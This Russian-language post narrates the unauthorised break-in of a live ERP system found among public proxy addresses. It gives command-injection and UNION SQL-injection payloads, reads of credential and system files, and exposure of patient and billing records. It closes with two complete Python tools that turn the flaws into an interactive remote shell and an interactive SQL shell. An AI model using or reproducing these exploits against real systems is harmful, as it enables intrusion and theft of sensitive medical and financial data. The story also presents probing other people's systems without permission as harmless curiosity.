Как я случайно наткнулся на систему, где безопасность просто… отсутствовала
Был обычный вечер. Я подумывал чем заняться, листал документации и читал посты. И вдруг мне взбрело, просто ради интереса, проверить пару адресов из списка публичных прокси.
1. Тихая гавань
Первый же IP в списке оказался живым. На 80-м порту висел веб-сервер. Старый Apache.
Открываю браузер. Вижу какую-то ERP-систему. Интерфейс схож на типичный лендинг (у основной страницы), PHP-шный. Обычный легаси-проект. Привлекла меня форма обратной связи. Ну конечно же, лендинг, на php, старый да и с Apache, ну как он может быть без CVE)
Конечно, не могло и зацепить что на одном порту — 80, был и Apache-сервер, и публичный прокси.
Решил посмотреть что интересного висит еще;
Попробовал стандартные пути. Один запрос —
GET /controller/
И сервер мне отдал список файлов. 85 PHP-файлов но с нулевым весом, полная карта системы.
2. В поисках
Просматривая названия, два файла привлекли внимание:
controller_send_email_form.php— отправка email через формуcontroller_portal.php— какой-то API
Я уже понял что первый файл как раз та форма, которая зацепила моё внимание на сайте.
Решил попробовать пару SQL-инъекций, пара не удалась, но пара сработала.
3. Проверка
Собрал простой запрос:
POST /controller/controller_send_email_form.php
Content-Type: application/x-www-form-urlencoded
destinatario="; id ;#
Отправил. Ответ:
uid=33(www-data) gid=33(www-data) groups=33(www-data)
RCE. Удаленное выполнение команд. Без логина. Без пароля. Просто через форму обратной связи на лендинге.
www-data — пользователь, под которым работает веб-сервер. У него есть доступ к файлам приложения. В частности — к конфигам.
Набросал псевдо оболочку поверх RCE:
4. Погружение
Сперва думал эскалировать, но эскалации не нашел нужной, ядро было запатченое от Copy Fail.
Через ту же команду прочитал несколько файлов:
cat /var/www/html/erp/connection/variables.php
DB_USER=app_role
DB_PASS=cGFzc3dvcmQxMjM=
Base64. Расшифровывается за секунду. Пароль от базы данных.
Проверил .env в соседней папке:
cat /opt/erp/backend/.env
DB_USER=postgres
DB_PASS=postgres1234
Пароль к суперпользователю PostgreSQL. Классика.
Смотрю дальше — конфиг controller_portal.php:
$type = $_POST['type'];
$token = $_POST['token'];
if ($type == 'index') {
$query = "SELECT ... FROM documents WHERE token = '$token'";
$result = pg_query($conn, $query);
}
SQL-запрос строится через конкатенацию с пользовательским вводом.
Отправляю:
POST /controller/controller_portal.php
Content-Type: application/x-www-form-urlencoded
type=index&token=x' UNION SELECT '1','2','3',current_user--
В ответ приходит:
{"tipo_comprobante": "app_role"}
UNION-инъекция работает. Получаю текущего пользователя БД.
Проверяю его права:
POST /controller/controller_portal.php
type=index&token=x' UNION SELECT '1','2','3',(SELECT rolsuper FROM pg_roles WHERE rolname=current_user)--
{"tipo_comprobante": "true"}
Суперпользователь. Не просто доступ к одной таблице — полный контроль над всей СУБД.
Читаю файлы через PostgreSQL:
SELECT pg_read_file('/etc/passwd')
Все работает.
5. Что лежит внутри
Оцениваю масштаб.
База данных — 3 отдельных БД: erp, erp_portal, erp_middleware. Основная — около 240 таблиц.
В таблице документов:
SELECT COUNT(*) FROM documents;
179 847 записей. Счета, фактуры, суммы, налоги, местный аналог ИНН, полные XML-файлы счетов.
В других таблицах — пациенты с ФИО, датами рождения, диагнозами, назначениями, страховыми полисами.
Это не просто коммерческие данные. Это медицинская тайна.
6. Дополнительно
Проверяю, что ещё есть.
-
JWT_SECRET в исходниках фронтенда:
erp-super-secret-key-2024. С этим ключом можно подписать любой токен и войти под любым пользователем. -
CORS:
Access-Control-Allow-Origin: *,Access-Control-Allow-Credentials: true. Любой сайт в интернете может отправлять запросы от имени залогиненного пользователя. -
Пароли в таблице пользователей — в открытом виде, не хешированы.
-
Креды
postgres/postgres1234используются везде — основной сервис, портал, middleware.
7. Итог
Одна форма обратной связи на лендинге дала доступ к серверу. Один конфиг — к базе данных. Одна SQL-инъекция — к 180 тысячам документов.
Ничего не скачивал. Ничего не менял. Просто посмотрел, насколько всё плохо, — Ответ: очень плохо. Система держится на уязвимостях, которые закрываются за 5 минут работы разработчика - одним апгрейдом ПО и двумя строчками кода. Но почему-то не закрыты.
8. Заключение
Сделал для себя выводы. Код, который работает с пользовательским вводом, должен валидироваться на каждом уровне. А безопасность — это не магия, а дисциплина.
Надеюсь, владельцы системы узнают о проблеме раньше, чем кто-то с менее благими намерениями
.
Прикрепил детальный код PoC, но анимизировал для того, чтоб не учудил никто ничего. Всё в образовательных целях
poc_cmd.py
#!/usr/bin/env python3
import argparse
import ssl
import urllib.parse
import urllib.request
SSL_CTX = ssl.create_default_context()
SSL_CTX.check_hostname = False
SSL_CTX.verify_mode = ssl.CERT_NONE
RCE_EP = "/controller/controller_send_email_form.php"
def rce(host, port, url_scheme, cmd, timeout=20):
shell = '";%s;#' % cmd
data = urllib.parse.urlencode({
"destinatario": shell,
"enviar": "1",
"url": "u",
}).encode()
req = urllib.request.Request(
"%s://%s:%s%s" % (url_scheme, host, port, RCE_EP),
data=data, method="POST",
)
try:
with urllib.request.urlopen(req, context=SSL_CTX, timeout=timeout) as r:
return r.read().decode("utf-8", "replace")
except Exception as e:
return "<err:%s>" % e
def parse_out(raw: str) -> str:
lines = raw.replace("<br>", "\n").split("\n")
out, started = [], False
for ln in lines:
if not started:
if "Unable to access jarfile" in ln or "-Ddestinatario=" in ln:
started = True
continue
if ln.strip():
out.append(ln.strip().replace("</pre>", "").replace("<pre>", ""))
return "\n".join(out).strip().replace("</pre>", "").replace("<pre>", "")
def run_rce(host, port, url_scheme, cmd):
return parse_out(rce(host, port, url_scheme, cmd))
def main():
p = argparse.ArgumentParser(description="unauth RCE PoC (command injection)")
p.add_argument("host", nargs="?", default="example.com")
p.add_argument("--port", type=int, default=443)
p.add_argument("--scheme", default="https", choices=["http", "https"])
p.add_argument("--cmd", help="run a single shell command and exit")
p.add_argument("--probe", action="store_true", help="connectivity + identity probe")
a = p.parse_args()
if a.probe:
print("[+] probing %s..." % a.host)
print(run_rce(a.host, a.port, a.scheme, "echo PROBE_OK; id; hostname"))
return
if a.cmd:
print(run_rce(a.host, a.port, a.scheme, a.cmd))
return
print("[+] interactive RCE shell on %s (www-data). Type 'exit' to quit." % a.host)
cwd = "/var/www/html"
while True:
try:
cmd = input("%s$ " % cwd)
except (KeyboardInterrupt, EOFError):
print()
break
cmd = cmd.strip()
if not cmd:
continue
if cmd in ("exit", "quit"):
print("bye")
break
if cmd.startswith("cd"):
n = cmd[2:].strip() or cwd
r = run_rce(a.host, a.port, a.scheme, "cd %s && pwd" % n)
if r and not r.startswith("None"):
cwd = r.strip()
continue
print(run_rce(a.host, a.port, a.scheme, "cd %s && %s" % (cwd, cmd)))
if __name__ == "__main__":
main()
poc_db.py
#!/usr/bin/env python3
import argparse
import json
import ssl
import urllib.parse
import urllib.request
SSL_CTX = ssl.create_default_context()
SSL_CTX.check_hostname = False
SSL_CTX.verify_mode = ssl.CERT_NONE
SQLI_EP = "/controller/controller_portal.php"
def sqli_raw(host, port, url_scheme, token, timeout=30):
data = urllib.parse.urlencode({"type": "index", "token": token}).encode()
req = urllib.request.Request(
"%s://%s:%s%s" % (url_scheme, host, port, SQLI_EP),
data=data, method="POST",
)
try:
with urllib.request.urlopen(req, context=SSL_CTX, timeout=timeout) as r:
return r.read().decode("utf-8", "replace")
except Exception as e:
return "<err:%s>" % e
def exec_sql(host, port, url_scheme, sql):
"""Run arbitrary SQL via the UNION injection (aggregation channel)."""
wrapped = "(SELECT string_agg(t::text, chr(10)) FROM (%s) t)" % sql.rstrip(";")
payload = "x' UNION SELECT '1','2','3',%s--" % wrapped
raw = sqli_raw(host, port, url_scheme, payload)
try:
arr = json.loads(raw)
if isinstance(arr, list) and arr:
return arr[0].get("tipo_comprobante", "") or ""
except Exception:
pass
return raw
def parse_record(s):
"""Parse a PostgreSQL record literal: (a,"b,c",d) -> [a, b,c, d]."""
s = s.strip()
if not (s.startswith("(") and s.endswith(")")):
return [s]
inner = s[1:-1]
fields, buf, inq, i = [], "", False, 0
while i < len(inner):
c = inner[i]
if inq:
if c == '"':
if i + 1 < len(inner) and inner[i + 1] == '"':
buf += '"'; i += 2; continue
inq = False; i += 1; continue
buf += c; i += 1; continue
if c == '"':
inq = True; i += 1; continue
if c == ',':
fields.append(buf); buf = ""; i += 1; continue
buf += c; i += 1
fields.append(buf)
return fields
def render(text):
if text is None or text.strip() == "":
print("(0 rows)")
return
rows = [parse_record(r) for r in text.split("\n") if r != ""]
ncols = max(len(r) for r in rows)
for r in rows:
while len(r) < ncols:
r.append("")
widths = [max(len(r[c]) for r in rows) for c in range(ncols)]
hdr = " | ".join("col%d" % (c + 1) for c in range(ncols))
sep = "-+-".join("-" * widths[c] for c in range(ncols))
print(hdr)
print(sep)
for r in rows:
print(" | ".join(r[c].ljust(widths[c]) for c in range(ncols)))
print("(%d row%s)" % (len(rows), "s" if len(rows) != 1 else ""))
def handle_meta(line, host, port, scheme):
parts = line[1:].split(None, 1)
cmd = parts[0].lower()
arg = parts[1].strip() if len(parts) > 1 else ""
arg = arg.replace("'", "''")
def run(sql):
out = exec_sql(host, port, scheme, sql)
if out.startswith("<err:"):
print(out)
else:
render(out)
if cmd in ("tables", "dt") or (cmd == "schema" and not arg):
run("SELECT table_name FROM information_schema.tables "
"WHERE table_schema='public' ORDER BY 1")
elif cmd == "schema" and arg:
run("SELECT 'CREATE TABLE '||table_name||' ('||"
"string_agg(column_name||' '||data_type||"
"CASE WHEN is_nullable='NO' THEN ' NOT NULL' ELSE '' END, ', ' "
"ORDER BY ordinal_position)||');' "
"FROM information_schema.columns WHERE table_name='%s' "
"GROUP BY table_name" % arg)
elif cmd in ("columns", "d") and arg:
run("SELECT column_name, data_type, is_nullable "
"FROM information_schema.columns WHERE table_name='%s' "
"ORDER BY ordinal_position" % arg)
elif cmd == "help":
print(".tables list tables in schema 'public'")
print(".dt alias for .tables")
print(".schema list tables")
print(".schema TBL CREATE TABLE statement for TBL")
print(".columns TBL columns of TBL")
print(".d TBL alias for .columns TBL")
print("\\q quit")
print("<SQL>; run SQL (e.g. SELECT * FROM tbl LIMIT 10;)")
else:
print("unknown meta-command: .%s (type .help)" % cmd)
def main():
p = argparse.ArgumentParser(description="interactive SQL shell via SQLi")
p.add_argument("host", nargs="?", default="example.com")
p.add_argument("--port", type=int, default=443)
p.add_argument("--scheme", default="https", choices=["http", "https"])
p.add_argument("-c", "--command", metavar="SQL", help="run a single SQL command and exit")
a = p.parse_args()
if a.command:
out = exec_sql(a.host, a.port, a.scheme, a.command)
if out.startswith("<err:"):
print(out)
else:
render(out)
return
print("[+] SQL shell via SQLi (superuser). Type SQL; '\\q' to quit.")
buf = ""
while True:
try:
line = input("db=> " if not buf else "db-> ")
except (KeyboardInterrupt, EOFError):
print()
break
line = line.strip()
if line in ("\\q", "exit", "quit"):
print("bye")
break
if line == "" and not buf:
continue
if line.startswith(".") and not buf:
handle_meta(line, a.host, a.port, a.scheme)
continue
buf += " " + line.rstrip("\\")
if line.endswith("\\"):
continue # multi-line: wait for next line
sql = buf.strip().rstrip(";")
buf = ""
if sql.strip():
out = exec_sql(a.host, a.port, a.scheme, sql)
if out.startswith("<err:"):
print(out)
else:
render(out)
if __name__ == "__main__":
main()
